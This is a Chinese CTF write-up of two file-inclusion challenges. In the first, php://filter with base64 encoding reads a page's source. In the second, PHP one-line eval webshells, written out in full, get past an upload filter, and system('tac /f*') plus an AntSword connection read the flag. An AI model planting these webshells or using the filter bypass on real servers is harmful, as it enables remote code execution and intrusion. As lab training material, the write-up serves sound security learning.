# 文件包含 1

开启场景看看

发现有个 index.php,那么就构造 poc 去读取它

poc1:

?file=php://filter/resource=index.php

poc2:

?file=php://filter/read=convert.base64-encode/resource=index.php

poc1 的话是直接读取 index.php 的内容,但是很多时候不会显示在页面上,因此我们就用 poc2 去进行 base64 编码然后显示在浏览器上

复制下编码后解码得到 flag

flag{2df58e9eb2c56228c9b4b0045103451c}

# 文件包含 2

打开环境

f12 查看到有个 upload.php 的注释

访问看看

发现是个上传口

而且提示只能上传 jpg gif
png 格式的文件,那么就先 bp 抓包上传最普通的一句话木马试试

发现上传成功,不知道对内容有没有进行过滤

根据路径去查看一下上传上去的一句话

对比一下,很明显发现 <? php ?> 全被过滤了,那就试试别的一句话

一:

<?=eval($_POST['1']);echo'a';

二:

<script language=php> echo'a';eval($_POST['pass']); </script>

一:

同样上传成功,去访问下看看

显示 a,证明成功了

可以 hackbar 进行命令执行获取 flag 也可以蚁剑连接 getshell

二:

使用了 script 标签

同样上传成功

同样输出 a

以二为例使用 hackbar 获取 flag

测试后门成功,接着利用语句

pass=system("tac /f*");phpinfo();

获得 flag

以二为例利用蚁剑 getshell 获取 flag

在根目录下找到 flag

flag{51191745789e4c01bc43f0e3b157e281}